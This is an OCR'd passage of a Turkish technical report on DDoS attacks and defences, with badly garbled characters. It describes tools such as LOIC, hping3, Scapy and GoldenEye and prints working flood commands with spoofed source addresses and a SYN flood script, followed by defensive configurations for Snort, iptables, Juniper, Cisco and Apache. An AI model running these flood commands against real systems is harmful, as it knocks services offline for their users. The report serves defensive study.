olduklar1 basglik bilgileri sayesinde IPS ve DDOS donanimlar1 {izerinde “imza”

tanimlanabilmektedir.

2.9.1 LOIC (Low Orbit Ion Cannon)
En poiiler DDOS saldir1 araglarindan birisidir. Kullanimi1 oldukga kolay

oldugu i¢in 6zellikle merakli kullanicilar tarafindan siklikla tercih edilmektedir.

Bu arag ile sunucuya UDP,TCP veya HTTP saldirilar1 gerceklestirilebilir.

IMMA CHARGIN MAH

Praetoxicon

Bu uygulamanin web sunucularina yaptig istek asagidaki gibidir;

GET /app/?1d=1292337572944&msg=BOOM$2520HEADSHOT! HTTP/1.1
Host: www.hedef.com

User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.12)
Gecko/20101026 Firefox/3.6.12

Accept:text/html,application/xhtml+xml,application/xml;g=0.9,*/*;g=0.8
Accept-Language: en-us,en;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;9=0.7,*;9=0.7

Keep-Alive: 115

Connection: keep-alive
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Bu uygulama kullanilarak yapilan saldirilara karsit Snort iizerinde asagidaki

gibi bir kural yazilabilir,[30]

alert udp SEXTERNAL NET any -> $HOME NET $HTTP_PORTS (msg:"SLR -
LOIC DoS Tool (UDP Mode) - Behavior Rule (tracking/threshold)";
threshold: type threshold, track by src, count 100 , seconds 5;

Cisco Firewall’da ise asagidaki gibi bir access-list yazilabilir (*6667 : hedef port )

Router#show ip access-lists 150
Extended IP access list 150
10 permit tcp host 192.168.100.1 192.168.60.0 0.0.0.255 eq 6667*
20 deny tcp any 192.168.60.0 0.0.0.255 eqg 6667 (12 matches)
30 deny ip any any
2.9.2 XOIC

Bu kiiciik program ile hedef sunucuya farkli port ve protokollerden saldiri
gereceklestirilebilir. Ornek olarak hedef sunucuya http,udp,icmp vb saldirilar

diizenlenebilir.
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2.9.3 DDOSIM-Layer 7 Simulator

Kiiciik boyutlu bir perl script’inden olusmaktadir. DDOS ortamlarin1 simiile
etmek i¢in kullanilan ara¢ ger¢ek ortamlarda da kullanilabilir. C++ {izerinde

yazilmis ve Linux sistemlerde ¢alismaktadir.
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Uygulama ile sahte ip adresi kaynak gosterme, uygulama katmanindaki

saldirilar ( dns, http vb ), smtp, tcp flood gibi saldirt tipleri uygulanabilir.

2.9.4 Hping

Linux sistemlerde ¢alisan bir TCP/IP prtokoluniinii kullanan paket iiretim ve
analiz aracidir. Firewall, IPS testlerinde tcp paketleri iizerinde ¢esitli parametre
degisiklikleri yapilarak kullanilir. Uygulamada kaynak ip adresi degistirme, port, ttl
degerleri degistirme gibi se¢enekler bulunmaktadir.[12],[18]

Uygulamanin son versiyonu hping3’tiir. Hping3’te kullanilabilecek o6rnek
parametreler asagidaki gibidir.

SYN paketlerini sahte ip adresler ile gonderme;

hping3 --rand-source -S -L 0 -p <target port> <target IP>

SYN+ACK paketlerini sahte ip adresler ile gonderme;

hping3 --rand-source -SA -p <open port> <target IP>

Hedefe rastgele sahte ip adresler ile UPD paketleri gonderme;

hping3 --rand-source --udp <target IP> --

Hedefe sahte ip adresler ile SYN+ACK+FIN+RST+URG paketleri gonderme;
hping3 --rand-source -SAFRU -L 0 -M 0 -p <port> <target> --flood

Hedefe sahte ip adresleri kullanarak icmp paketleri gonderme;

hping3 --icmp --spoof <target address> <broadcast address> --flood

2.9.5 Scapy

Ozellikle syn flood paketleri iiretmek icin kullanilir. Python dili kullanilarak olusturulmus

bir scrip’tir.

Scapy.py script 6rnegi asagidaki gibidir;

#! /usr/bin/env python

41



# Name : Subodh Pachghare

# CyberSpace Name : HaXOR (Cyberninja)

# Website : www.thesubodh.com

# Description : SYN Flood Packet creation for iptables
prevention solution

import sys

from scapy.all import *

#conf.verb=0

print "Field Values of packet sent"

p=IP (dst=sys.argv[1l],id=1111,tt1=99) /TCP (sport=RandShort (), dpor
t=[22,80],seq=12345,ack=1000,window=1000, flags="S") /"HaX0r SVP"
1s (p)

print "Sending Packets in 0.3 second intervals for timeout of 4
sec"

ans,unans=srloop (p,inter=0.3,retry=2, timeout=4)

print "Summary of answered & unanswered packets"

ans.summary ()

unans.summary ()

print "source port flags in response"

#for s,r in ans:

# print r.sprintf ("$TCP.sport% \t $TCP.flags%")

ans.make table(lambda(s,r): (s.dst, s.dport, r.sprintf("%IP.id%
\t %$IP.ttl% \t %TCP.flags%")))

Ornek kullanim sekli ise;

python SYN Flood Scapy.py <hedef ip adres>
2.9.6 GoldenEye HTTP DDOS

Web sunucularina get/post isteginde bulunarak saldir1 yapilmasina yarayan

kii¢iik bir pyton script’idir.

HHHHE

METHOD GET = ‘'get
METHOD POST = 'post
METHOD RAND = 'random

JOIN TIMEOUT=1.0

DEFAULT WORKERS5=18
DEFAULT _SOCKETS=500
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Ornek kullanimi;

./goldeneye.py http://www.website.com/ -w 10 -s 10 -m random
Yukaridaki komuttaki parametrelerin agiklamasi ise ;

-m : Rastgele get veya post istegi.

-w: 10 = Ayni anda yapilmasi istenen istek sayisi.

-s : 10 = Anlik istek miktar1.

3. DDOS SALDIRILARI SAVUNMA YONTEMLERI

Her ag ve sistemin hizmet verdigi durumlar kendi zaafiyetlerini
olusturmaktadirlar. Ornegin disartya agik (public) bir DNS sunucusu daldirilarini
oncelikle DNS servislerine yonelik alacaktir. Ayni sekilde bir internet sitesi http/get
saldirlarinin hedefi olacaktir. Saldirilara karsi korunacak sistemlerin analizinin iyi
yapilamasi, zaafiyet barindirabilecek noktalarin tespit edilmesi ilk hazirlik devreleri

olarak diisiiniilebilir.

Sistemin alt yapisinin omurga sisteminden baglayarak yedekli yapilarda
bulundurulmasi, ag servislerinin yiik kapasitelerinin esnek yapida olmasi, yiik
dengeleyicilerin kullanimi vb 6nlemler ile hat ve servis izleme, saldirinin en erken

sekilde tespit ve yorumlanmasi biiyiik 6nem arzetmektedir.
Ana bagliklar halinde siralamak gerekirse;

- Sistem igerisinde ¢alisan tiim cihazlar ( Layer 2 cihazlarindan Layer 7
uygulamalara kadar ) zaafiyet noktalar1 veya zaafiyet olusturabilecek noktalar
belirlenmeli, bir saldir1 durumda kapatilabilecek veya trafik limitleme kisitlamasi

konulabilecek boliimler tespit edilmelidir.

- Layer 7 de kullanilan yazilimlarin kaynak kod analizleri yapilmali ve stres

( stress/fuzz testing) testine alinmalidir.

- Ag, ag cihazlar1 diizenli olarak DDOS testine alinmalidir.
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- Sistemlerin 6zelliklerine gore yapilan DDOS testi ¢esitlendirilmelidir ( ssl,

packet generating, stress test, slowloris vb uygulamalar ile )

3.1 DDOS Saldirilarina Karsi1 Alinabilecek Onlemler

3.1.1 Trafigi Bolme

Kurum aglarinda dis aglara hizmet veren sunucular ile kurum ihtiyaglari i¢in
kullanilan yapinin farkli ag adresleri ile dis diinyaya erismleri 6nem arz etmektedir.
Bu sekilde DDOS saldiris1 aninda alinacak onlemlerin diger segmentleri etkilemesi

Onlenmis olur.

Sunucular {izerindeki ag trafiklerinin tek bir sunucuda toplanmasini
engellemek icin ylik dengeleyiciler kullanilmalidir. Bunlar trafigi bolerek sunculara
esit miktarda dagitirlar. Bu sekilde sunucular {izerinde sistemelerin daha az

yorulmasi amaglanir.

Firewall yiik dengeleyiciler;
| Gelen trafik dengelenerek
Firewall'lara génderilmelidir.

[ 1] Firewall'lar trafigi analiz ettikten

1 :
[il==}==] ErE BB i === | : 5
e ean s EEEEE 1T sonra bir sonraki segmentte
EE=E I‘|- .-|- AEmE iletirler.
Buradaki yik dengeleyicilerin eger WAF
Sunuculanin 6niine konumlandinlan yik olarak kullanilabilecek gzellikleri varsa
dengeleyiciler sunuculara sorgulan esit dzel baz kisitlamalar da
miktarda génderip tek bir sunucunun yapilabilmektedir.
etkilenmesini engellerler.
=== e
| v | [ a—
[ i | [ o= |
=] (=]

Sekil 30 : Yiik dengeleyici kullanarak trafigi bolme
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3.1.2 Sadece Gerekli Trafige izin Verilmesi

Internet ortamina hizmet veren sunucularda gerekli portlarin acik olamasi
port kaynakli saldirilara sebebiyet verecektir. Suncularda sadece hizmet verdikleri
uygulamalar i¢in gerekli olan portlar agilmali, Firewall ve IPS’ler ise sadece bu
portlara izin vermelidir. Gereksiz portlarin agik olmasi farkli port ve servislerden

gelecek saldirilara sebebiyet verebilir.

Asagida nmap ile yapilan bir sorunun ¢iktis1 goriilmektedir. Hedef sunucuda
birden fazla port acgik oldugu ve bunlarin riskli olabilece§i sonucu

¢ikarilabilmektedir. [3], [13]

c:h\winnt\system32\

mUNLCe

Sekil 31 : NMAP ile acik port tespiti
3.1.3 Kota Simirlama (Rate Limiting )

Trafik kotas1 yontemi ile saldirtya hedef olan sunuculara erisimin zaman,bant
genisligl,ip adres aralifi gibi belirlenen kaynaklarin kismi olarak kisitlanmasidir.
Kisitlamalar ISP, DDOS 6nleme yazilim veya cihazlar1 ve sununcu sistemlerinden

uygulanabilir.

Bu uygulamanin en biiyiik sorunlarindan birisi kismi1 olsada kesinitye sebep

olmasidir. Ancak ek bir 6nlem olarak sunucular dagitik bir yapida ise ;

Ornek limiting parametreleri ( Linux );
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- Fin istekleri i¢in timeout sinirlamasi
net.ipv4.tcp fin timeout = 15

- DDOS koruma uygulamasi/cihazinda default tcp keepalive degeri

belirlenmesi;
net.ipvé4.tcp keepalive time = 1800

- Tcp-time-wait degerinin belirlenmesi ( Baglantilarda yapilan her sitege
cevap verilirken her baglati tablolarda tutulur ve bu tablolar dinanmik olarak
giincellenir. DDOS saldirillar1  esnasinda bu tablolar ¢ok biiyliyecektir. Bu
tablolarinin tutabilecekleri log ( buffer ) sayilarinin diisiik olmasi Firewall’in bir siire

sonra cevap veremez hale gelmesine neden olacaktir.
Linux : net.ipv4.tcp max tw buckets = 1440000

Juniper : set zone dmz screen limit-session source-ip-based

1 set zone dmz screen limit-session source-ip-based
Cisco :

hostname (config)# threat-detection scanning-threat shun

except ip-address XxXx

hostname (config)# threat-detection rate scanning-threat

rate-interval 1200 average-rate 10 burst-rate 20

hostname (config)# threat-detection rate scanning-threat

rate-interval 2400 average-rate 10 burst-rate 20

- Hedef kaynakli ip kisitlamalari 6rnegi;
set zone untrust screen limit-session destination-ip-based 4000

set zone untrust screen limit-session destination-ip-based
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- CPU’yu yoran isteker icin belirli bir kara liste ( blacklist ) belirlenip engelleme

Ornegi;

set cpu-protection blacklist id 1 1.1.1.0/24 2.2.2.0/24

protocol 17 srcport 5 dst-port 7 timeout 0

3.1.4 SYN Flood Saldirilarina Kars1 Koruma

SYN korumasi SYN paketlerine limit konulmasi islemdir. Trafigin belirli
bir degeri asmasi durumunda cihaz SYN paketlerini proxy iizerinden yanitlamaya
baslayacaktir ( Sekil 29 ). Temel olarak Syncookie tablolarindan yaralanmak veya

Synproxy ile engellenebilmektedir.

Firzsaeall | DOOS

Istek engelieme sictemi Sunucu
SYN S¥M
. SYMIACK SYMACK
ACK ACK
...... o
" SYMNIACK SYMIACK
ACK ACK

' — Esik degerinin noktas 1!}

E¥YMN > &

2 M

i
L

Sekil 32 : SYN istekleri sonucunda oturum tablolarinin dolmasi

SYN paketleri kullanarak yapilan saldirilarda saldirgan hedefe dogru siirekli
olarak SYN paketleri gonderir. Hedef de her istege bir ack paketi ile cevap verir.
Saldir1 esnasinda yapilan SYN istekleri, kaynak ip adresleri rastegele olusturulur ve
hedef sistem kars1 taraftan bir ticlii el sikismay1 tamamlamak i¢in cevap bekler ve bu

arada istegi hazifasinda ( tablo ) tutar.

Sekil 31°de goriilen esik degeri noktasi asilmaya baslanmasi sonucunda SYN

proxy kendisine gelen ayni ip araliklari1 ( zone ) iizeriinden yeni istek kabul etmez
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veya ikinici SYN istegi gelene kadar bekler. Ikinci istegin gelmesi istegin gercek
oldugunu biiyiik oranda gostermektedir. Bu sekilde ikinci SYN istegini gondemeyen

istekler silinir.

SynFlood saldiris1 esaninda yapilabilecek en 6nemli noktalardan birisi TCP
timeout degerinin disiik tutulmasidir. Glivenlik cihazlarindaki durum ( state )
tablolarinin  dolmasin1  egellemek veya dolduktan sonra tablolar1 silmek

gerekmektedir.

SYN Flood saldirilarina karst SYN Proxy yapilandirma 6rnekleri asagidaki
gibidir. [10]

Juniper Firewall;

set zone untrust screen syn-flood
set zone untrust screen syn-flood attack-threshold 1000
—> Alarm seviyesi belirlenebilmektedir.
set zone untrust screen syn-flood alarm-threshold 2000
set zone untrust screen syn-flood source-threshold 250
set zone untrust screen syn-flood destination-threshold 1000

Iptables Firewall;

# iptables -A INPUT -m state -state INVALID -3j DROP
# /sbin/sysctl -w net/netfilter/nf conntrack tcp loose=0
Daha genis bir hali ile asagidaki komut uygulanabilmektedir.

# iptables -A INPUT -i S$DEV -p tcp -m tcp -dport SPORT -m state -
state INVALID,UNTRACKED -j SYNPROXY -sack-perm —-timestamp -wscale 7
-mss 1460

iptables —-A OUTPUT -p tcp -s <sunucu_ip> --tcp-flags RST RST —-j DROP

iptables —-A OUTPUT -p tcp -s <sunucu_ip> --tcp-flags RST RST —-j DROP
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Syn Flood saldirilarini tespit edip 6nlemede kullanilan érnek bir script
asagidaki gibidir ( iptables firewall ile entegreli )[21],[11]

SYN_Flood_Prevention.sh script

# Description : SYN Flood Prevention using iptables against Scapy
SYN packets generated

> /var/log/DDOS IP.log

> /tmp/testl.txt

> /tmp/test2. txt

trap "echo ;echo Caught EXIT signal;iptables -F;echo Iptables
entries cleared;echo HaX0OR SVP" EXIT

while true;

do

date >> /var/log/DDOS IP.log

netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print
$5}'" | cut -d : -f 1 | sort | unig -c >> /var/log/DDOS IP.log

for pip in ‘netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk
"{print $5}'" | cut -d : -f 1 | sort | uniqg’

do

conntrack="netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk
"{print $5}' | cut -d : -f 1 | grep Spip | wc -1";

while read line

do

if [ "$line" — "Spip" ]

then

continue 2

fi

done < /tmp/test2.txt

if [ "Sconntrack" -gt "25" ]

then

iptables -I INPUT -s Spip -p tcp -j REJECT --reject-with tcp-reset
echo "S$pip" >> /tmp/testl.txt

fi

done

cat /tmp/testl.txt | sort | uniq > /tmp/test2.txt

sleep $S1

done

PF Firewall;

pass in on $Sext if proto tcp to $web server \
port www keep state |\

(max 200, source-track rule, max-src-nodes 100, max-src-states 3)
Limit sinirlamas1 i¢in;

max—-src—-conn number

max-src—-conn-rate number / interval
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Cisco Firewall:

hostname (config)# threat-detection basic-threat

hostname (config)# threat-detection rate {acl-drop | bad-
packet-drop | conn-limit-drop | dos-drop | fw-drop | Iicmp-
drop | inspect-drop | interface-drop | scanning-threat | syn-

attack} rate-interval rate interval average-rate av_rate
burst-rate burst rate

3.1.5 IP Adres Defterleri Olusturma

Sisteme daha dnce baglant1 yapmis ip adresleri igin beyaz liste ip tanimi
kullanarak izin verilebilir. Ayni sekilde ip adreslerini {ilke bazinda da kisitlamak
miimkiindiir. Ancak saldirgan ¢ogu zaman spoof ip adresleri kullandigi i¢in bu
yontem ¢ok az sonu¢ vermemektedir.

3.2 HTTP Saldirilarima Kars1 Korunma

3.2.1 Web Sunucularinda Yapilabilinecek Limit Simirlandirmalari

Asagida Apache Web Sunucusunda HTTP Flood saldirilari i¢in bir limit
siirlandirma 6rnegi bulunmaktadir.

# size of hash table

DOSHashTableSize 4096

# requests for the same page per interval and client
DOSPageCount 20

# requests for any object by same client

DOSSiteCount 300

# threshold in second intervals

DOSPageInterval 1

DOSSiteInterval 1

DOSBlockingPeriod 30

#DOSCloseSocket On

#DOSSystemCommand "/sbin/iptables -I INPUT -s %s -3j DROP"

DOSWhitelist 127.0.0.1
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DOSEmailNotify your@email.com

DOSLogDir /var/log/httpd/evasive.log

3.2.2 HTTP Redirect Authentication

Web sunucusuna gelen ilk GET istegine cevap vermemesi kaynaga http 302
cevabr donmesi ve kaynagin GET istegini yenilemesi esasina dayanir. Bu sekilde

istegin gergek bir kullanici oldugu anlagilir.

é 77" D
GET e /index.html

=
HTTP 302 ¥, /foo/index.html
o

GET ': /foo/index.html

HTTP 302 e/index .html

GET a /index.html

Sekil 33 : Http redirect yonteminin adimlart.

3.2.3 WAF ( Web Application Firewall ) Kurallar:

Web Application Firewall’lar web ve veritaban1 sunucularina gelen istekeleri
analiz eden uygulama/donanimlardir. Kendi veri tabaninda bulunan saldir1 imza ve

parametleri ile gelen istekleri analiz ederler.

Firewall ve IPS donamimlarindan farkli olarak daha gelismis iist katman
politikalar1 yazilabilmektedir.

Bu politikalara 6rnek olarak;

- HTTP port/servis koruma politikalari,

- Trafigi izleyerek belirli zamanli/istek yogunluklu kara liste ( black list )
hazirlanmasi,

- Zararli yazilim ( malware ) gilincellemelerinin alinmasi,
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- WAF {irtinlerinin Anti Virus yazilimlari ile entegre edilmesi,
- Trojan korumalarinin aktif edilmesi,

- Veritaban1 erisimlerinde siire-istek yogunlugu bazinda kisitlamalar,6rnek
olarak verilebilir.

3.2.4 CAPTCHA (Completely Automated Public Turing test to tell
Computers and Humans Apart)

Captcha uygulama ve sunuculara yonelik yapilan isteklerin gercek istekler

olup olmadigini tespit edebilmek i¢in geligtirilmistir.

Web iizerinden gercek kisiler tarafindan yapilan istekleri, otomatik olarka
yapan yazilimlardan ayirmak i¢in  olusturulan, tarama sistemelerinin
okuyamayacagi, sadece insalar tarafindan okunabilece8i yazi veya simgelerden

olusan sekillerdir.

Enter both words below, separated by a space.
Can't read the words below? Try different words or an audio captcha,

Lowenbdﬁm_sg

Sick of these? Verify your account.

Text in the box: " ‘ What's This?

Cancel

Sekil 34 : Web uygulamalari igin capcha arayiizii.

Sunucu kendisine gelen ayni kaynaktan olan isteklerin belirli bir seviyeye
ulagmasi1 sonucu istek yapan kullanciya captcha ekrani ¢ikar ve kullanict dogrulama

yaptiktan sonra islemine devam edebilir.

3.2.5 Isletim Sistemleri Bazinda Onlemler

Gerek kurumsal aglarda gerekse ev kullanicilar1 farkinda olmadan botnet

aglarina dahil olmuslardir. Kullanic1 bilgisayarlarina ¢esitli yollarla bulastirilan
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zararl yazilimlar DDOS aglar icin kullanilmanin yani sira kimlik hirsizligr spam

gonderme aglar1 vb etkilere maruz kalmaktadir.

Standart ev veya kurum kullanicilar1 bu tiir zararli yazilimlara maruz
kalmamak i¢in isletim sistemlerini siirekli giincel tutmali, isletim sistemi ve
kullandiklar1 uygulamalarin yama ve gilincellestirmelerini edinmeleri, antiviiriis

gibi giivelik triinlerini giinliik olarak giincellemelidirler.

3.2.6 Ornek Bir Altyapi Semasi

Sekil 32°de  uygulama ( web,DB vb ) ve veritaban1 segmentlerine
boliinmiis ve bu segmenetlere hem in aglardan hem dis aglardan erisim oldugu

goriilmektedir.

Sar1 renkete gosterilmis noktalar DDOS korumasinin konumlandirilacag,

savunma listlerinin ¢alisilacagi yerlerdir.
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Sekil 34’de kirmiz1 kesik cizgiler ile internet ve diger ag ortamlarina agik
olan http servisinin kullanilmasi ile gerceklesebilen saldirilar1 temsil etmektedir.
Sunucu tcp/80- tcp/443 portundan disariya agik oldugu icin ¢ogu zaman gelen
paketler Firewall ve diger filtrelemlerden gecebilir ve uygulama segmetine erisebilir.
Web sunucu iizerinde yapilabilecek limit — oturum kisitlamalari bu esnada
uygulanabilir. Bunun yani sira sunucu segmentinin 6niine komumlandirilacak WAF
ile http paketlerinin bashk verileri okunarak get saldirilarina karsi onlem

alininabilmektedir.

Aglarin girislerine konumlandirilan IPS donanimlari aynmi sekilde network
omurgasina da konumlandirilmalidir. Bu sekilde hem i¢ aglarda olusan anormal
trafikler tepit edilebilir hemde diger segmet, vpn aglar1 vb yerlerden gelebilecek

saldirilara kars1 onlem alinmis olur.

ISP korumasindan gegebilecek paketler yonlendiriciye gelmeden siiziilmesi
yonlendiricinin yiikiinli azaltacaktir. Yonlendirici tizerinde yazilacak access-list’ler

ile network saldirilarina kars1 destekleyici olacaktir.

Yiik dengeleyiciler kendilerine gelene trafigi normal sartlar altinda zaten
kaynaklara esit dagitmaktadirlar. Bu dengelemenin rolu trafik anormalliklerinde
trafigin arka planda calisan sunuculara esit dagilmasini saglayarak sistemin

devamliliginda rol oynayacaklardir.

Ancak onemle belirtmek gerekir ki DDOS saldirilarinda en kapsamli koruma
ISP aglarindan yapilacak Onlemlerdir. ISP’lerde kullanilacak anormallik tespit
sistemleri trafigi daha genis aglarda 6lcebildigi icin zararh trafik ile normal trafik

arasindaki ayrimi daha saglikli yapacaktir.

4. SONUC

Daha once de belirtildigi gibi gerek network katmaninda gerekse daha st
katmanlarda yapilan saldirilarin  temel sebebi protokol ve uygulamalarin
tasarimlarindaki zaafiyetlerden kaynaklanmaktadir. Uygulamalardaki tasarim

hatalar 1iyilestirilebilir olsa da protokollerdeki tasarim hatalar1 i¢in bu miimkiin
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gorinmemektedir. Protokollerin sebep oldugu zaafiyetlerin etkilerini en az’a

indirmek i¢in kurum aglarinda saglam bir altyapiya ihtiyag¢ vardir.

Layer 3-7 arasinda alinmasi gereken 6nlemler [31];

Donanim Katman Kontroller DDOS Onleme

Firewall 4-7 Flow inspection Baglanti sinirlamasi,
Deep inspection Syn Cookie Proxy

Router 3-4 Paket inspection Erisim listeleri, Erisim siirlamalari
Frame inspecion

| g ot

Yuk
Dengeleyic

URPF yapilmasi gereken

i

Sekil 36 : ISP’ler i¢in URPF yapilmas1 gereken noktalar.

Sekil 33’de detaylandirilmadan anlatilan yapida ISP aglarinda aktif edilmesi
gereken URPF goriilmektedir. Bu sekilde spoof edilmis ip paketleri engellenmis

olacak, kurum IPS’sine gelen paketlerin bir kismu1 siiziilmiis olarak gelecektir.
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Kurum ISP’si i¢inde yapilacak trafik ve anormallik takip sistemleri ile
trafikler daha dogru analiz edilecektir. Boylece kotlii niyetli trafikleri normal

trafiklerden ayrit etmek kolaylasacaktir.

Kurum network’iinlin giris noktasina yerlestirilecek DDOS korumasi ile iyi
bir sonug alinacak ise de ISP network’iinde konumlandirilmasi daha dogru olacaktir.
ISP network’iine entegre edilecek bir DDOS korumasi paket analizlerinde daha ¢ok

dogru kararlar verecektir.

ISP yonlendiricilerinde aktif olarak izlenen unicast reverse-path-forwarding
(URPF ) belirli bir aga ulasmaya c¢alisan kaynagi hatali olan paketleri

engelleyecektir.

UPREF her ag sistemi veya ISP’nin kendi omurgasi yada alt aglarinda ¢ikan ip
paketlerinin kaynagmi kontrol etmesidir. Ornegin x.x.x.x ip adresin ( bagka bir ISP
agina ait ) kaynakli bir paket bagka bir ISP agina dogru istekte bulundugu zaman
bunun belirlenmesi ve paketin yok edilmesidir. URFP IETF tarafindan RFC5635
(Remote Triggered Black Hole ) ile agiklanmustir.

ISP omurgalarinda veya kurum/sirket aglarinda disartya dogru DDOS
yapilmasini da engellemek gerekmektedir. DDOS trafigini hedefe yakin bir noktada
engellemeye calismak yerine ISP’lerde uygulanabilecek URPF (Unicast Reverse
Path Forwarding) metodu ile spoof edilmis ip paketlerini internete ¢ikmasi

engellenmis olur[23].

Ornek olarak bir ISP yonlendiricisinde URFP 6nleme igin yapilan

filtrelemeden sonra durum asagidaki gibi goriilmiistiir[25].
# show ip verify statistics
interface outside: 21 unicast rpf drops
interface inside: 2738 unicast rpf drops

interface vpn: 0 unicast rpf drops
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Alt yapinin dogru dizayn edilmesi, ag ve sistemlerin biiylimesini planlayarak,
teknik ve yoOnetimsel bilincin varligr ile saglanabilmektedir. Mevcutta calisan
sistemlere yeni yapilacak eklemeler ¢esitli zaafiyet noktalar1 meydana
getirebilmektedir. Sitemlere yeni eklenecek noktalar olusturulan altyapiyi tehlikeye

atmayacak bir sekilde entegre edilmelidir.

ISP’den baslayarak sistemlerdeki Layer 7 uygulamaya gelen kadar olan
yollardaki ip paketlerinin incelenmesi ve ve saglikli karar verilebilmesi i¢in
Sekil.xx ‘de anltilan semaya uygun olmalidir. Sekil.32’teki kaba plan Sekil 34’deki

gibi 6zetlenebilinir.

Protocol Abnormal Access TCP Global Local
Block Packet Control List SynCookie Rate Limit Rate Limit
Check (Black P (Antl-Spoofing)  (Traffic Volume (Source IP
| Management ) Control) Flow Control)
ISP Segmenti o | | |
. Ag gegidi (router)  Firewall - IPS - Uygulama Sunuculari kontrol
Kontrolleri kontrol noktas:

noktalar

Sekil 37 : Zarali trafigi engelleme ana topolojisi.
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